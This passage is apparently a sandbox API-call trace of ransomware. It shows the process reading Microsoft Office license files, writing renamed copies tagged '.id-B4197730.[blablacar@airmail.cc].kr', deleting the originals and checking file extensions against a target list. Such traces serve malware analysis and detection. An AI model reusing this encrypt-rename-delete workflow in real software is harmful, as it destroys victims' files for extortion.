office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.847] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.847] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0199.848] GetLastError () returned 0x0 [0199.848] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0199.850] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0199.851] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.851] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0199.851] SetEndOfFile (hFile=0x568) returned 1 [0199.853] CloseHandle (hObject=0x568) returned 1 [0199.853] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.853] SetEndOfFile (hFile=0x550) returned 1 [0199.856] CloseHandle (hObject=0x550) returned 1 [0199.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1 [0199.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.858] lstrlenW (lpString=".doc") returned 4 [0199.858] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.858] lstrlenW (lpString=".docx") returned 5 [0199.858] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.858] lstrlenW (lpString=".pdf") returned 4 [0199.858] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.858] lstrlenW (lpString=".xls") returned 4 [0199.858] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.858] lstrlenW (lpString=".xlsx") returned 5 [0199.858] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.859] lstrlenW (lpString=".ppt") returned 4 [0199.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.859] lstrlenW (lpString=".zip") returned 4 [0199.859] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString=".rar") returned 4 [0199.859] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString=".bz2") returned 4 [0199.859] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString=".7z") returned 3 [0199.859] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.859] lstrlenW (lpString=".dbf") returned 4 [0199.859] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.859] lstrlenW (lpString=".1cd") returned 4 [0199.859] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.859] lstrlenW (lpString=".jpg") returned 4 [0199.859] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString=".doc") returned 4 [0199.860] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".docx") returned 5 [0199.860] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.860] lstrlenW (lpString=".pdf") returned 4 [0199.860] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".xls") returned 4 [0199.860] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".xlsx") returned 5 [0199.860] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.860] lstrlenW (lpString=".ppt") returned 4 [0199.860] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString=".zip") returned 4 [0199.860] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".rar") returned 4 [0199.860] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".bz2") returned 4 [0199.860] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString=".7z") returned 3 [0199.860] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString=".dbf") returned 4 [0199.860] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString=".1cd") returned 4 [0199.860] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0199.860] lstrlenW (lpString=".jpg") returned 4 [0199.861] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.861] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.861] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0199.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.861] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19927) returned 1 [0199.861] CloseHandle (hObject=0x550) returned 1 [0199.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0199.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.862] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.862] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0199.863] GetLastError () returned 0x0 [0199.863] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0199.865] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0199.867] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.867] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0199.867] SetEndOfFile (hFile=0x568) returned 1 [0199.867] CloseHandle (hObject=0x568) returned 1 [0199.867] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.867] SetEndOfFile (hFile=0x550) returned 1 [0199.871] CloseHandle (hObject=0x550) returned 1 [0199.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 1 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.872] lstrlenW (lpString=".doc") returned 4 [0199.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.872] lstrlenW (lpString=".docx") returned 5 [0199.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.873] lstrlenW (lpString=".pdf") returned 4 [0199.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString=".xls") returned 4 [0199.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString=".xlsx") returned 5 [0199.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.873] lstrlenW (lpString=".ppt") returned 4 [0199.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString=".zip") returned 4 [0199.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString=".rar") returned 4 [0199.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString=".bz2") returned 4 [0199.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString=".7z") returned 3 [0199.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString=".dbf") returned 4 [0199.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString=".1cd") returned 4 [0199.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString=".jpg") returned 4 [0199.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.873] lstrlenW (lpString=".doc") returned 4 [0199.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".docx") returned 5 [0199.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.874] lstrlenW (lpString=".pdf") returned 4 [0199.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".xls") returned 4 [0199.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".xlsx") returned 5 [0199.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.874] lstrlenW (lpString=".ppt") returned 4 [0199.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.874] lstrlenW (lpString=".zip") returned 4 [0199.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".rar") returned 4 [0199.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".bz2") returned 4 [0199.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString=".7z") returned 3 [0199.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.874] lstrlenW (lpString=".dbf") returned 4 [0199.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.874] lstrlenW (lpString=".1cd") returned 4 [0199.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0199.875] lstrlenW (lpString=".jpg") returned 4 [0199.875] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.875] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.875] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23 [0199.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.876] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10627) returned 1 [0199.876] CloseHandle (hObject=0x550) returned 1 [0199.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220 [0199.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.876] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.877] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.015] GetLastError () returned 0x0 [0200.015] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2983, lpOverlapped=0x0) returned 1 [0200.113] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2990, lpOverlapped=0x0) returned 1 [0200.138] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.138] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x102, lpOverlapped=0x0) returned 1 [0200.138] SetEndOfFile (hFile=0x568) returned 1 [0200.139] CloseHandle (hObject=0x568) returned 1 [0200.139] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.139] SetEndOfFile (hFile=0x550) returned 1 [0200.142] CloseHandle (hObject=0x550) returned 1 [0200.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1 [0200.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.147] lstrlenW (lpString=".doc") returned 4 [0200.147] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.148] lstrlenW (lpString=".docx") returned 5 [0200.148] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.148] lstrlenW (lpString=".pdf") returned 4 [0200.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.148] lstrlenW (lpString=".xls") returned 4 [0200.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.148] lstrlenW (lpString=".xlsx") returned 5 [0200.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.148] lstrlenW (lpString=".ppt") returned 4 [0200.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.148] lstrlenW (lpString=".zip") returned 4 [0200.149] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".rar") returned 4 [0200.149] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".bz2") returned 4 [0200.149] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".7z") returned 3 [0200.149] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.149] lstrlenW (lpString=".dbf") returned 4 [0200.149] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.149] lstrlenW (lpString=".1cd") returned 4 [0200.149] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.149] lstrlenW (lpString=".jpg") returned 4 [0200.149] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.149] lstrlenW (lpString=".doc") returned 4 [0200.149] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".docx") returned 5 [0200.149] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.149] lstrlenW (lpString=".pdf") returned 4 [0200.149] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".xls") returned 4 [0200.149] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.149] lstrlenW (lpString=".xlsx") returned 5 [0200.149] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.149] lstrlenW (lpString=".ppt") returned 4 [0200.150] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.150] lstrlenW (lpString=".zip") returned 4 [0200.150] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString=".rar") returned 4 [0200.150] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString=".bz2") returned 4 [0200.150] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString=".7z") returned 3 [0200.150] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.150] lstrlenW (lpString=".dbf") returned 4 [0200.150] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.150] lstrlenW (lpString=".1cd") returned 4 [0200.150] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0200.150] lstrlenW (lpString=".jpg") returned 4 [0200.150] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.150] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.150] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29 [0200.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.151] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11167) returned 1 [0200.151] CloseHandle (hObject=0x550) returned 1 [0200.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program 